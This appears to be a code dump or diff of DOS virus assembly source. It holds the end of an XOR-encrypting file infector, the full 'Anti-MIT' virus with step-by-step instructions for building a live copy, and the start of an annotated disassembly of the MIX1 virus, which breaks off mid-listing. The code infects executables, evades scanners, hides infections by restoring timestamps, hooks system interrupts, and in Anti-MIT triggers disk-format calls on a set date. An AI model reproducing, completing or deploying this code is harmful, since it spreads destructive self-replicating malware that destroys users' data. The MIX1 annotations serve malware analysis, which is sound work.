mov dx,code_start ; Buffer where code starts in memory
|
||||||
|
mov ah,40h ; DOS write-to-handle service
|
||||||
|
int 21h ; Write the virus code into the file
|
||||||
|
call encrypt_decrypt ; Restore the code as it was
|
||||||
|
ret ; Go back to where you came from
|
||||||
|
|
||||||
|
; --------------- Encrypt or decrypt the virus code ----------------
|
||||||
|
encrypt_decrypt:
|
||||||
|
mov bx,offset virus_code ; Get address to start encrypt/decrypt
|
||||||
|
xor_loop: ; Start cycle here
|
||||||
|
mov ah,[bx] ; Get the current byte
|
||||||
|
xor al,encrypt_val ; Engage/disengage XOR scheme on it
|
||||||
|
mov [bx],ah ; Put it back where we got it
|
||||||
|
inc bx ; Move BX ahead a byte
|
||||||
|
cmp bx,offset virus_code+virus_size ; Are we at the end?
|
||||||
|
jle xor_loop ; If not, do another cycle
|
||||||
|
ret ; and go back where we came from
|
||||||
|
|
||||||
|
;-----------------------------------------------------------------------
|
||||||
|
; The rest of the code from here on remains encrypted until run-time,
|
||||||
|
; using a fundamental XOR technique that changes via CMT.
|
||||||
|
;-----------------------------------------------------------------------
|
||||||
|
virus_code:
|
||||||
|
|
||||||
|
;----------------------------------------------------------------------------
|
||||||
|
; All strings are kept here in the file, and automatically encrypted.
|
||||||
|
; Please don't be a lamer and change the strings and say you wrote a virus.
|
||||||
|
; Because of Cybernetic Mutation Technology(tm), the CRC of this file often
|
||||||
|
; changes, even when the strings stay the same.
|
||||||
|
;----------------------------------------------------------------------------
|
||||||
|
exe_filespec db "*.EXE",0 ; To infect EXE's
|
||||||
|
com_filespec db "*.COM",0 ; To infect COM's
|
||||||
|
newdir db "..",0 ; Move up one directory
|
||||||
|
fake_msg db cr,lf,"Metal up your ass..$"
|
||||||
|
virus_msg1 db cr,lf,tab,"My friend of Misery...$"
|
||||||
|
virus_msg2 db cr,lf,tab,"Hearing only what you want to hear $"
|
||||||
|
virus_msg3 db cr,lf,tab,"and knowing only what you've heard$"
|
||||||
|
virus_msg4 db cr,lf,tab,"you you're smothered in tragedy$"
|
||||||
|
virus_msg5 db cr,lf,tab,"you're out to save the world$"
|
||||||
|
compare_buf db 20 dup (?) ; Buffer to compare files in
|
||||||
|
files_found db ?
|
||||||
|
files_infected db ?
|
||||||
|
orig_time dw ?
|
||||||
|
orig_date dw ?
|
||||||
|
orig_attr dw ?
|
||||||
|
handle dw ?
|
||||||
|
success db ?
|
||||||
|
|
||||||
|
random_mutation: ; First decide if virus is to mutate
|
||||||
|
mov ah,2ch ; Set up DOS function to get time
|
||||||
|
int 21h
|
||||||
|
cmp encrypt_val,0 ; Is this a first-run virus copy?
|
||||||
|
je install_val ; If so, install whatever you get.
|
||||||
|
cmp dh,15 ; Is it less than 16 seconds?
|
||||||
|
jg find_extension ; If not, don't mutate this time
|
||||||
|
install_val:
|
||||||
|
cmp dl,0 ; Will we be encrypting using zero?
|
||||||
|
je random_mutation ; If so, get a new value.
|
||||||
|
mov encrypt_val,dl ; Otherwise, save the new value
|
||||||
|
find_extension: ; Locate file w/ valid extension
|
||||||
|
mov files_found,0 ; Count infected files found
|
||||||
|
mov files_infected,4 ; BX counts file infected so far
|
||||||
|
mov success,0
|
||||||
|
find_exe:
|
||||||
|
mov cx,00100111b ; Look for all flat file attributes
|
||||||
|
mov dx,offset exe_filespec ; Check for .EXE extension first
|
||||||
|
mov ah,4eh ; Call DOS find first service
|
||||||
|
int 21h
|
||||||
|
cmp ax,12h ; Are no files found?
|
||||||
|
je find_com ; If not, nothing more to do
|
||||||
|
call find_healthy ; Otherwise, try to find healthy .EXE
|
||||||
|
find_com:
|
||||||
|
mov cx,00100111b ; Look for all flat file attributes
|
||||||
|
mov dx,offset com_filespec ; Check for .COM extension now
|
||||||
|
mov ah,4eh ; Call DOS find first service
|
||||||
|
int 21h
|
||||||
|
cmp ax,12h ; Are no files found?
|
||||||
|
je chdir ; If not, step back a directory
|
||||||
|
call find_healthy ; Otherwise, try to find healthy .COM
|
||||||
|
chdir: ; Routine to step back one level
|
||||||
|
mov dx,offset newdir ; Load DX with address of pathname
|
||||||
|
mov ah,3bh ; Change directory DOS service
|
||||||
|
int 21h
|
||||||
|
dec files_infected ; This counts as infecting a file
|
||||||
|
jnz find_exe ; If we're still rolling, find another
|
||||||
|
jmp exit_virus ; Otherwise let's pack it up
|
||||||
|
find_healthy:
|
||||||
|
mov bx,dta ; Point BX to address of DTA
|
||||||
|
mov ax,[bx]+attribute ; Get the current file's attribute
|
||||||
|
mov orig_attr,ax ; Save it
|
||||||
|
mov ax,[bx]+timestamp ; Get the current file's time stamp
|
||||||
|
mov orig_time,ax ; Save it
|
||||||
|
mov ax,[bx]+datestamp ; Get the current file's data stamp
|
||||||
|
mov orig_date,ax ; Save it
|
||||||
|
mov dx,dta+filename ; Get the filename to change attribute
|
||||||
|
mov cx,0 ; Clear all attribute bytes
|
||||||
|
mov al,1 ; Set attribute sub-function
|
||||||
|
mov ah,43h ; Call DOS service to do it
|
||||||
|
int 21h
|
||||||
|
mov al,2 ; Set up to open handle for read/write
|
||||||
|
mov ah,3dh ; Open file handle DOS service
|
||||||
|
int 21h
|
||||||
|
mov handle,ax ; Save the file handle
|
||||||
|
mov bx,ax ; Transfer the handle to BX for read
|
||||||
|
mov cx,20 ; Read in the top 20 bytes of file
|
||||||
|
mov dx,offset compare_buf ; Use the small buffer up top
|
||||||
|
mov ah,3fh ; DOS read-from-handle service
|
||||||
|
int 21h
|
||||||
|
mov bx,offset compare_buf ; Adjust the encryption value
|
||||||
|
mov ah,encrypt_val ; for accurate comparison
|
||||||
|
mov [bx+6],ah
|
||||||
|
mov si,code_start ; One array to compare is this file
|
||||||
|
mov di,offset compare_buf ; The other array is the buffer
|
||||||
|
mov ax,ds ; Transfer the DS register...
|
||||||
|
mov es,ax ; ...to the ES register
|
||||||
|
cld
|
||||||
|
repe cmpsb ; Compare the buffer to the virus
|
||||||
|
jne healthy ; If different, the file is healthy!
|
||||||
|
call close_file ; Close it up otherwise
|
||||||
|
inc files_found ; Chalk up another fucked up file
|
||||||
|
continue_search:
|
||||||
|
mov ah,4fh ; Find next DOS function
|
||||||
|
int 21h ; Try to find another same type file
|
||||||
|
cmp ax,12h ; Are there any more files?
|
||||||
|
je no_more_found ; If not, get outta here
|
||||||
|
jmp find_healthy ; If so, try the process on this one!
|
||||||
|
no_more_found:
|
||||||
|
ret ; Go back to where we came from
|
||||||
|
healthy:
|
||||||
|
mov bx,handle ; Get the file handle
|
||||||
|
mov ah,3eh ; Close it for now
|
||||||
|
int 21h
|
||||||
|
mov ah,3dh ; Open it again, to reset it
|
||||||
|
mov dx,dta+filename
|
||||||
|
mov al,2
|
||||||
|
int 21h
|
||||||
|
mov handle,ax ; Save the handle again
|
||||||
|
call infect_file ; Infect the healthy file
|
||||||
|
call close_file ; Close down this operation
|
||||||
|
inc success ; Indicate we did something this time
|
||||||
|
dec files_infected ; Scratch off another file on agenda
|
||||||
|
jz exit_virus ; If we're through, terminate
|
||||||
|
jmp continue_search ; Otherwise, try another
|
||||||
|
ret
|
||||||
|
close_file:
|
||||||
|
mov bx,handle ; Get the file handle off the stack
|
||||||
|
mov cx,orig_time ; Get the date stamp
|
||||||
|
mov dx,orig_date ; Get the time stamp
|
||||||
|
mov al,1 ; Set file date/time sub-service
|
||||||
|
mov ah,57h ; Get/Set file date and time service
|
||||||
|
int 21h ; Call DOS
|
||||||
|
mov bx,handle
|
||||||
|
mov ah,3eh ; Close handle DOS service
|
||||||
|
int 21h
|
||||||
|
mov cx,orig_attr ; Get the file's original attribute
|
||||||
|
mov al,1 ; Instruct DOS to put it back there
|
||||||
|
mov dx,dta+filename ; Feed it the filename
|
||||||
|
mov ah,43h ; Call DOS
|
||||||
|
int 21h
|
||||||
|
ret
|
||||||
|
exit_virus:
|
||||||
|
cmp files_found,15 ; Are at least 15 files infected?
|
||||||
|
jl print_fake ; If not, keep a low profile
|
||||||
|
cmp success,0 ; Did we infect anything?
|
||||||
|
jg print_fake ; If so, cover it up
|
||||||
|
mov ah,09h ; Use DOS print string service
|
||||||
|
mov dx,offset virus_msg1 ; Load the address of the first line
|
||||||
|
int 21h ; Print it
|
||||||
|
mov dx,offset virus_msg2 ; Load the second line
|
||||||
|
int 21h ; (etc)
|
||||||
|
mov dx,offset virus_msg3
|
||||||
|
int 21h
|
||||||
|
mov dx,offset virus_msg4
|
||||||
|
int 21h
|
||||||
|
mov dx,offset virus_msg5
|
||||||
|
int 21h
|
||||||
|
jmp terminate
|
||||||
|
print_fake:
|
||||||
|
mov ah,09h ; Use DOS to print fake error message
|
||||||
|
mov dx,offset fake_msg
|
||||||
|
int 21h
|
||||||
|
terminate:
|
||||||
|
mov ah,4ch ; DOS terminate process function
|
||||||
|
int 21h ; Call DOS to get out of this program
|
||||||
|
|
||||||
|
filler db 8 dup (90h) ; Pad out the file length to 666 bytes
|
||||||
|
|
||||||
|
main endp
|
||||||
|
code ends
|
||||||
|
end main
|
||||||
|
|
||||||
|
|
||||||
@@ -0,0 +1,315 @@
|
|||||||
|
; ** Anti-MIT Virus **
|
||||||
|
; To assemble, use TASM and TLINK to create a .COM file. Next
|
||||||
|
; run the .COM file in the same directory of a file you want to infect.
|
||||||
|
; Your system may hang, but after re-booting you will notice an increase
|
||||||
|
; in the target files size. Now debug the newly infected file and replace
|
||||||
|
; the first three bytes with E8 05 00 (call to encryption). Re-write the
|
||||||
|
; .COM file and now you should have a running copy of the Anti-Mit virus!
|
||||||
|
;
|
||||||
|
; - Do not distribute the Anti-MIT virus for this
|
||||||
|
; activity is against the law! The author will take
|
||||||
|
; NO responsiblity for others.
|
||||||
|
; TEST ONLY
|
||||||
|
;
|
||||||
|
; For more info see MIT.DOX file.
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
name AntiMIT
|
||||||
|
title Anti-MIT: The original Anti-MIT virus code!
|
||||||
|
.radix 16
|
||||||
|
code segment
|
||||||
|
assume cs:code,ds:code
|
||||||
|
org 100
|
||||||
|
|
||||||
|
buffer equ offset 20000d ; Buffer
|
||||||
|
fname equ offset 20000d + 1eh ; DTA - File name
|
||||||
|
ftime equ offset 20000d + 16h ; DTA - File time
|
||||||
|
fsize equ offset 20000d + 1ah ; DTA - File size
|
||||||
|
olddta equ 80 ; Old DTA area
|
||||||
|
|
||||||
|
start:
|
||||||
|
jmp main ; *See above*
|
||||||
|
nop
|
||||||
|
jmp main ; Jmp to virus body
|
||||||
|
|
||||||
|
encrypt_val db 0 ; Randomized encryption value
|
||||||
|
|
||||||
|
decrypt: ; Encrypt/decrypt engine
|
||||||
|
encrypt: ; [SKISM type]
|
||||||
|
lea si, data
|
||||||
|
mov ah, encrypt_val
|
||||||
|
jmp fool_em ; Fool with the scanners
|
||||||
|
|
||||||
|
xor_loop:
|
||||||
|
lodsb ; ds:[si] -> al
|
||||||
|
xor al, ah
|
||||||
|
stosb ; al -> es:[di]
|
||||||
|
loop xor_loop
|
||||||
|
mov ah,19h ; Set current drive as default
|
||||||
|
int 21h
|
||||||
|
mov dh,al
|
||||||
|
mov ah,0eh
|
||||||
|
int 21h
|
||||||
|
ret
|
||||||
|
|
||||||
|
fool_em:
|
||||||
|
mov di, si
|
||||||
|
mov cx, stop_encrypt - data
|
||||||
|
jmp xor_loop
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
data label byte ; Virus data
|
||||||
|
message db 'MIT Sux! $' ; The "message"
|
||||||
|
lengthp dw ? ; Length of infected file
|
||||||
|
allcom db '*.COM',0 ; What to search for
|
||||||
|
virus db '[Anti-MIT]',0 ; Virus name
|
||||||
|
author db 'FŒrsØStrŒkä',0 ; Author
|
||||||
|
|
||||||
|
main: ; Main virus code
|
||||||
|
mov ah,2ah ; Get the date
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
cmp dh,12d ; Month 12?
|
||||||
|
jnz next ; No
|
||||||
|
|
||||||
|
|
||||||
|
cmp dl,01d ; Day one?
|
||||||
|
jnz next ; No
|
||||||
|
lea dx,message ; Yes, set off the "bomb"
|
||||||
|
mov ah,09h
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
mov ah,05h
|
||||||
|
mov al,02h
|
||||||
|
mov ch,00h
|
||||||
|
mov dh,00h
|
||||||
|
mov dl,80h
|
||||||
|
int 13h
|
||||||
|
|
||||||
|
mov ah,06h
|
||||||
|
int 13h
|
||||||
|
|
||||||
|
mov ah,05h
|
||||||
|
mov dl,00h
|
||||||
|
int 13h
|
||||||
|
|
||||||
|
mov ah,4ch ; Exit
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
next:
|
||||||
|
mov cx,lengthp ; Figure out the Jmp
|
||||||
|
sub cx,eendcode-start
|
||||||
|
mov the_jmp,cx
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
push es ; Save ES
|
||||||
|
mov ax,3524h ; Get interrupt 24h handler
|
||||||
|
int 21h ; and save it in errhnd
|
||||||
|
mov [err1],bx
|
||||||
|
mov [err2],es
|
||||||
|
pop es ; Restore ES
|
||||||
|
|
||||||
|
mov ax,2524h ; Set interrupt 24h handler
|
||||||
|
lea dx,handler
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
xor dx,dx ; Set DTA in "buffer" area
|
||||||
|
mov si,dx
|
||||||
|
mov dx,buffer
|
||||||
|
add dx,si ; Set new Disk Transfer Address
|
||||||
|
mov ah,1A ; Set DTA
|
||||||
|
int 21
|
||||||
|
|
||||||
|
|
||||||
|
find_first:
|
||||||
|
mov dx,offset allcom ; Search for '*.COM' files
|
||||||
|
mov cx,00000001b ; Normal, Write Protected
|
||||||
|
mov ah,4E ; Find First file
|
||||||
|
int 21
|
||||||
|
jc pre_done ; Quit if none found
|
||||||
|
jmp check_if_ill
|
||||||
|
|
||||||
|
mover: ; The "mover" code
|
||||||
|
push cs ; Store CS
|
||||||
|
pop es ; and move it to ES
|
||||||
|
mov di,0100h
|
||||||
|
lea si,eendcode ; Move original code to
|
||||||
|
add si,the_jmp ; beginning
|
||||||
|
add si,endcode-mover
|
||||||
|
mov cx,eendcode-start
|
||||||
|
rep movsb
|
||||||
|
mov di,0100h ; Jmp to CS:[100h]
|
||||||
|
jmp di
|
||||||
|
|
||||||
|
pre_done:
|
||||||
|
jmp done ; Long jmp
|
||||||
|
|
||||||
|
find_next:
|
||||||
|
mov ah,4fh ; Search for next
|
||||||
|
int 21h
|
||||||
|
jc pre_done
|
||||||
|
|
||||||
|
check_if_ill: ; File infected?
|
||||||
|
mov ax,cs:[ftime]
|
||||||
|
and al,11111b ; Look for the 62 sec marker
|
||||||
|
cmp al,62d/2 ; [Vienna type]
|
||||||
|
jz find_next
|
||||||
|
|
||||||
|
cmp cs:[fsize],19000d ; Check if file larger then
|
||||||
|
ja find_next ; 19000 bytes - if so skip
|
||||||
|
|
||||||
|
cmp cs:[fsize],500d ; Check if file smaller then
|
||||||
|
jb find_next ; 500 bytes - if so skip
|
||||||
|
|
||||||
|
|
||||||
|
mainlp: ; Write the virus
|
||||||
|
mov dx,fname
|
||||||
|
mov ah,43h ; Write enable
|
||||||
|
mov al,0
|
||||||
|
int 21h
|
||||||
|
mov ah,43h
|
||||||
|
mov al,01h
|
||||||
|
and cx,11111110b
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
|
||||||
|
mov ax,3d02h ; Open file (read/write)
|
||||||
|
int 21h
|
||||||
|
jc pre_done
|
||||||
|
mov bx,ax
|
||||||
|
|
||||||
|
mov ax,5700h ; Get date for file
|
||||||
|
int 21h
|
||||||
|
mov [time],cx ; Save date info
|
||||||
|
mov [date],dx
|
||||||
|
|
||||||
|
mov ah,3fh ; Read original code into
|
||||||
|
mov dx,buffer ; buffer (length of virus)
|
||||||
|
mov cx,eendcode-start
|
||||||
|
int 21h
|
||||||
|
jc pre_done
|
||||||
|
cmp ax,eendcode-start
|
||||||
|
jne pre_done
|
||||||
|
|
||||||
|
|
||||||
|
mov ah,42h ; Go to end of file
|
||||||
|
mov al,02h
|
||||||
|
xor cx,cx
|
||||||
|
xor dx,dx
|
||||||
|
int 21h
|
||||||
|
jc pre_done
|
||||||
|
mov cx,ax
|
||||||
|
mov lengthp,ax ; Save original program code
|
||||||
|
|
||||||
|
mov ah,40h ; Write "mover" code to end
|
||||||
|
lea dx,mover ; of file
|
||||||
|
mov cx,endcode-mover
|
||||||
|
int 21h
|
||||||
|
jc done
|
||||||
|
cmp ax,endcode-mover
|
||||||
|
jne done
|
||||||
|
|
||||||
|
mov ah,40h ; Write original program code
|
||||||
|
mov dx,buffer ; to end of the file
|
||||||
|
mov cx,eendcode-start
|
||||||
|
int 21h
|
||||||
|
jc done
|
||||||
|
cmp ax,eendcode-start
|
||||||
|
jne done
|
||||||
|
|
||||||
|
mov ah,42h ; Go to front of file
|
||||||
|
mov al,00h
|
||||||
|
xor cx,cx
|
||||||
|
xor dx,dx
|
||||||
|
int 21h
|
||||||
|
jc done
|
||||||
|
|
||||||
|
stop_encrypt:
|
||||||
|
mov ah,2ch ; Get time
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
mov encrypt_val,dh ; Use time as random encryption
|
||||||
|
call encrypt ; value
|
||||||
|
|
||||||
|
mov ah,40h ; Write virus code to front of
|
||||||
|
lea dx,start ; file
|
||||||
|
mov cx,eendcode-start
|
||||||
|
int 21h
|
||||||
|
jc done
|
||||||
|
cmp ax,eendcode-start
|
||||||
|
jne done
|
||||||
|
jmp date_stuff
|
||||||
|
|
||||||
|
handler:
|
||||||
|
mov al,0
|
||||||
|
iret
|
||||||
|
endp
|
||||||
|
|
||||||
|
|
||||||
|
time dw ? ; File stamp - time
|
||||||
|
date dw ? ; File stamp - date
|
||||||
|
err1 dw ? ; Original error handler
|
||||||
|
err2 dw ? ; address
|
||||||
|
|
||||||
|
date_stuff: ; Restore old file stamp
|
||||||
|
mov ax,5701h
|
||||||
|
mov cx,[time]
|
||||||
|
mov dx,[date]
|
||||||
|
and cl,not 11111b ; Set seconds field to 62 secs.
|
||||||
|
or cl,11111b
|
||||||
|
int 21h
|
||||||
|
mov ah,3eh
|
||||||
|
int 21h
|
||||||
|
mov dx,olddta ; Restore "original" DTA
|
||||||
|
mov ah,1ah
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
push ds ; Save DS
|
||||||
|
mov ax,2524h ; Set interrupt 24h handler
|
||||||
|
mov dx,err1 ; Restore saved handler
|
||||||
|
mov dx,err2
|
||||||
|
mov ds,dx
|
||||||
|
int 21h
|
||||||
|
pop ds ; Restore DS
|
||||||
|
|
||||||
|
done:
|
||||||
|
xor cx,cx ; Clear registors
|
||||||
|
xor dx,dx
|
||||||
|
xor bx,bx
|
||||||
|
xor ax,ax
|
||||||
|
xor si,si
|
||||||
|
jmp_code db 0e9h ; Preform jmp to "mover" code
|
||||||
|
the_jmp dw ?
|
||||||
|
|
||||||
|
go:
|
||||||
|
eendcode label byte
|
||||||
|
|
||||||
|
nop ; krap
|
||||||
|
nop
|
||||||
|
nop
|
||||||
|
nop
|
||||||
|
nop
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
endcode label byte
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
code ends
|
||||||
|
end start
|
||||||
@@ -0,0 +1,857 @@
|
|||||||
|
; THE MIX1 virus
|
||||||
|
;
|
||||||
|
; It was first detected in Israel in August '89.
|
||||||
|
;
|
||||||
|
; Disassembly done Sept. 24-25 '89.
|
||||||
|
;
|
||||||
|
; The author of this program is unknown, but it is clearly a
|
||||||
|
; modification of the "Icelandic" virus, with considerable
|
||||||
|
; additions
|
||||||
|
;
|
||||||
|
; All comments in this file were added by Fridrik Skulason,
|
||||||
|
; University of Iceland/Computing Services.
|
||||||
|
;
|
||||||
|
; INTERNET: frisk@rhi.hi.is
|
||||||
|
; UUCP: ...mcvax!hafro!rhi!frisk
|
||||||
|
; BIX: FRISK
|
||||||
|
;
|
||||||
|
; To anyone who obtains this file - please be careful with it, I
|
||||||
|
; would not like to see this virus be distributed too much.
|
||||||
|
;
|
||||||
|
; A short description of the virus:
|
||||||
|
;
|
||||||
|
; It only infects .EXE files. Infected files grow by ... to ... bytes.
|
||||||
|
; The virus attaches itself to the end of the programs it infects.
|
||||||
|
;
|
||||||
|
; When an infected file is run, the virus copies itself to top of
|
||||||
|
; free memory, and modifies the memory blocks, in order to hide from
|
||||||
|
; memory mapping programs. Some programs may overwrite this area,
|
||||||
|
; causing the computer to crash.
|
||||||
|
;
|
||||||
|
; The virus will hook INT 21H and when function 4B (EXEC) is called
|
||||||
|
; it sometimes will infect the program being run. It will check every
|
||||||
|
; tenth program that is run for infection, and if it is not already
|
||||||
|
; infected, it will be.
|
||||||
|
;
|
||||||
|
; The virus will remove the Read-Only attribute before trying to
|
||||||
|
; infect programs.
|
||||||
|
;
|
||||||
|
; Infected files can be easily recognized, since they always end in
|
||||||
|
; "MIX1"
|
||||||
|
;
|
||||||
|
; To check for system infection, a byte at 0:33C is used - if it
|
||||||
|
; contains 77 the virus is installed in memory.
|
||||||
|
;
|
||||||
|
;
|
||||||
|
VIRSIZ EQU 128
|
||||||
|
|
||||||
|
;
|
||||||
|
; This is the original program, just used so this file, when
|
||||||
|
; assembled, will produce an active copy.
|
||||||
|
;
|
||||||
|
_TEXT1 SEGMENT PARA PUBLIC
|
||||||
|
_START DB 0b4H,09H
|
||||||
|
PUSH CS
|
||||||
|
POP DS
|
||||||
|
MOV DX,OFFSET STRING
|
||||||
|
INT 21H
|
||||||
|
MOV AX,4C00H
|
||||||
|
INT 21H
|
||||||
|
STRING DB "Hello world!",0dh,0ah,"$"
|
||||||
|
_TEXT1 ENDS
|
||||||
|
|
||||||
|
CODE SEGMENT PARA PUBLIC 'CODE'
|
||||||
|
ASSUME CS:CODE,DS:NOTHING,SS:NOTHING,ES:NOTHING
|
||||||
|
|
||||||
|
;
|
||||||
|
; The virus is basically divided in the following parts.
|
||||||
|
;
|
||||||
|
; 1. The main program - run when an infected program is run.
|
||||||
|
; It will check if the system is already infected, and if not
|
||||||
|
; it will install the virus.
|
||||||
|
;
|
||||||
|
; 2. The new INT 17 handler. All outgoing characters will be garbled.
|
||||||
|
;
|
||||||
|
; 3. The new INT 14 handler. All outgoing characters will be garbled.
|
||||||
|
;
|
||||||
|
; 4. The new INT 8 handler.
|
||||||
|
;
|
||||||
|
; 5. The new INT 9 handler. Disables the Num-Lock key
|
||||||
|
;
|
||||||
|
; 6. The new INT 21 handler. It will look for EXEC calls, and
|
||||||
|
; (sometimes) infect the program being run.
|
||||||
|
;
|
||||||
|
; Parts 1 and 6 are almost identical to the Icelandic-1 version
|
||||||
|
;
|
||||||
|
; This is a fake MCB
|
||||||
|
;
|
||||||
|
DB 'Z',00,00,VIRSIZ,0,0,0,0,0,0,0,0,0,0,0,0
|
||||||
|
|
||||||
|
VIRUS PROC FAR
|
||||||
|
;
|
||||||
|
; The virus starts by pushing the original start address on the stack,
|
||||||
|
; so it can transfer control there when finished.
|
||||||
|
;
|
||||||
|
ABRAX: DEC SP ; This used to be SUB SP,4
|
||||||
|
DEC SP
|
||||||
|
NOP
|
||||||
|
DEC SP
|
||||||
|
DEC SP
|
||||||
|
PUSH BP
|
||||||
|
MOV BP,SP
|
||||||
|
NOP ; added
|
||||||
|
PUSH AX
|
||||||
|
NOP ; added
|
||||||
|
MOV AX,ES
|
||||||
|
;
|
||||||
|
; Put the the original CS on the stack. The ADD AX,data instruction
|
||||||
|
; is modified by the virus when it infects other programs.
|
||||||
|
;
|
||||||
|
DB 05H
|
||||||
|
ORG_CS DW 0010H
|
||||||
|
MOV [BP+4],AX
|
||||||
|
;
|
||||||
|
; Put the the original IP on the stack. This MOV [BP+2],data instruction
|
||||||
|
; is modified by the virus when it infects other programs.
|
||||||
|
;
|
||||||
|
DB 0C7H,46H,02H
|
||||||
|
ORG_IP DW 0000H
|
||||||
|
;
|
||||||
|
; Save all registers that are modified.
|
||||||
|
;
|
||||||
|
PUSH ES
|
||||||
|
PUSH DS
|
||||||
|
PUSH BX
|
||||||
|
PUSH CX
|
||||||
|
PUSH SI
|
||||||
|
PUSH DI
|
||||||
|
;
|
||||||
|
; Check if already installed. Quit if so.
|
||||||
|
;
|
||||||
|
MOV AX,0 ; Was: XOR AX,AX
|
||||||
|
MOV ES,AX
|
||||||
|
CMP ES:[33CH],BYTE PTR 077H
|
||||||
|
JNE L1
|
||||||
|
;
|
||||||
|
; Restore all registers and return to the original program.
|
||||||
|
;
|
||||||
|
EXIT: POP DI
|
||||||
|
POP SI
|
||||||
|
POP CX
|
||||||
|
POP BX
|
||||||
|
POP DS
|
||||||
|
POP ES
|
||||||
|
POP AX
|
||||||
|
POP BP
|
||||||
|
RET
|
||||||
|
;
|
||||||
|
; The virus tries to hide from detection by modifying the memory block it
|
||||||
|
; uses, so it seems to be a block that belongs to the operating system.
|
||||||
|
;
|
||||||
|
; It looks rather weird, but it seems to work.
|
||||||
|
;
|
||||||
|
L1: MOV AH,52H
|
||||||
|
INT 21H
|
||||||
|
MOV AX,ES:[BX-2]
|
||||||
|
MOV ES,AX
|
||||||
|
PUSH ES ; Two totally unnecessary instructions
|
||||||
|
POP AX ; added
|
||||||
|
ADD AX,ES:[0003]
|
||||||
|
INC AX
|
||||||
|
INC AX
|
||||||
|
MOV CS:[0001],AX
|
||||||
|
;
|
||||||
|
; Next, the virus modifies the memory block of the infected program.
|
||||||
|
; It is made smaller, and no longer the last block.
|
||||||
|
;
|
||||||
|
MOV BX,DS
|
||||||
|
DEC BX
|
||||||
|
PUSH BX ; Unnecessary addition
|
||||||
|
POP AX
|
||||||
|
MOV DS,BX
|
||||||
|
MOV AL,'M'
|
||||||
|
MOV DS:[0000],AL
|
||||||
|
MOV AX,DS:[0003]
|
||||||
|
SUB AX,VIRSIZ
|
||||||
|
MOV DS:[0003],AX
|
||||||
|
ADD BX,AX
|
||||||
|
INC BX
|
||||||
|
;
|
||||||
|
; Then the virus moves itself to the new block.
|
||||||
|
;
|
||||||
|
PUSH BX ; Was: MOV ES,BX
|
||||||
|
POP ES
|
||||||
|
MOV SI,0 ; Was: XOR SI,SI XOR DI,DI
|
||||||
|
MOV DI,SI
|
||||||
|
PUSH CS
|
||||||
|
POP DS
|
||||||
|
MOV CX,652H
|
||||||
|
CLD
|
||||||
|
REP MOVSB
|
||||||
|
;
|
||||||
|
; The virus then transfers control to the new copy of itself.
|
||||||
|
;
|
||||||
|
PUSH ES
|
||||||
|
MOV AX,OFFSET L3
|
||||||
|
PUSH AX
|
||||||
|
RET
|
||||||
|
;
|
||||||
|
; Zero some variables
|
||||||
|
;
|
||||||
|
L3: MOV BYTE PTR CS:[MIN60],0
|
||||||
|
NOP
|
||||||
|
MOV BYTE PTR CS:[MIN50],0
|
||||||
|
NOP
|
||||||
|
MOV WORD PTR CS:[TIMER],0
|
||||||
|
;
|
||||||
|
; The most nutty way to zero ES register that I have ever seen:
|
||||||
|
;
|
||||||
|
MOV BX,0FFFFH
|
||||||
|
ADD BX,3F3FH
|
||||||
|
MOV CL,0AH
|
||||||
|
SHL BX,CL
|
||||||
|
AND BX,CS:[CONST0]
|
||||||
|
MOV AX,BX
|
||||||
|
MOV ES,AX
|
||||||
|
;
|
||||||
|
; Set flag to confirm installation
|
||||||
|
;
|
||||||
|
MOV BYTE PTR ES:[33CH],77H
|
||||||
|
;
|
||||||
|
; Hook interrupt 21:
|
||||||
|
;
|
||||||
|
MOV AX,ES:[0084H]
|
||||||
|
MOV CS:[OLD21],AX
|
||||||
|
MOV AX,ES:[0086H]
|
||||||
|
MOV CS:[OLD21+2],AX
|
||||||
|
MOV AX,CS
|
||||||
|
MOV ES:[0086H],AX
|
||||||
|
MOV AX,OFFSET NEW21
|
||||||
|
MOV ES:[0084H],AX
|
||||||
|
;
|
||||||
|
; Hook interrupt 17:
|
||||||
|
;
|
||||||
|
MOV AX,ES:[005CH]
|
||||||
|
MOV CS:[OLD17],AX
|
||||||
|
MOV AX,ES:[005EH]
|
||||||
|
MOV CS:[OLD17+2],AX
|
||||||
|
MOV AX,CS
|
||||||
|
MOV ES:[005EH],AX
|
||||||
|
MOV AX,OFFSET NEW17
|
||||||
|
MOV ES:[005CH],AX
|
||||||
|
;
|
||||||
|
; Hook interrupt 14:
|
||||||
|
;
|
||||||
|
MOV AX,ES:[0050H]
|
||||||
|
MOV CS:[OLD17],AX
|
||||||
|
MOV AX,ES:[0052H]
|
||||||
|
MOV CS:[OLD14+2],AX
|
||||||
|
MOV AX,CS
|
||||||
|
MOV ES:[0052H],AX
|
||||||
|
MOV AX,OFFSET NEW14
|
||||||
|
MOV ES:[0050H],AX
|
||||||
|
;
|
||||||
|
;
|
||||||
|
;
|
||||||
|
CMP WORD PTR CS:[NOINF],5
|
||||||
|
JG HOOK9
|
||||||
|
JMP EXIT
|
||||||
|
;
|
||||||
|
; Hook interrupt 9
|
||||||
|
;
|
||||||
|
HOOK9: MOV AX,ES:[0024H]
|
||||||
|
MOV CS:[OLD9],AX
|
||||||
|
MOV AX,ES:[0026H]
|
||||||
|
MOV CS:[OLD9+2],AX
|
||||||
|
MOV AX,CS
|
||||||
|
MOV ES:[0026H],AX
|
||||||
|
MOV AX,OFFSET NEW9
|
||||||
|
MOV ES:[0024H],AX
|
||||||
|
;
|
||||||
|
; Hook interrupt 8
|
||||||
|
;
|
||||||
|
MOV AX,ES:[0020H]
|
||||||
|
MOV CS:[OLD8],AX
|
||||||
|
MOV AX,ES:[0022H]
|
||||||
|
MOV CS:[OLD8+2],AX
|
||||||
|
MOV AX,CS
|
||||||
|
MOV ES:[0022H],AX
|
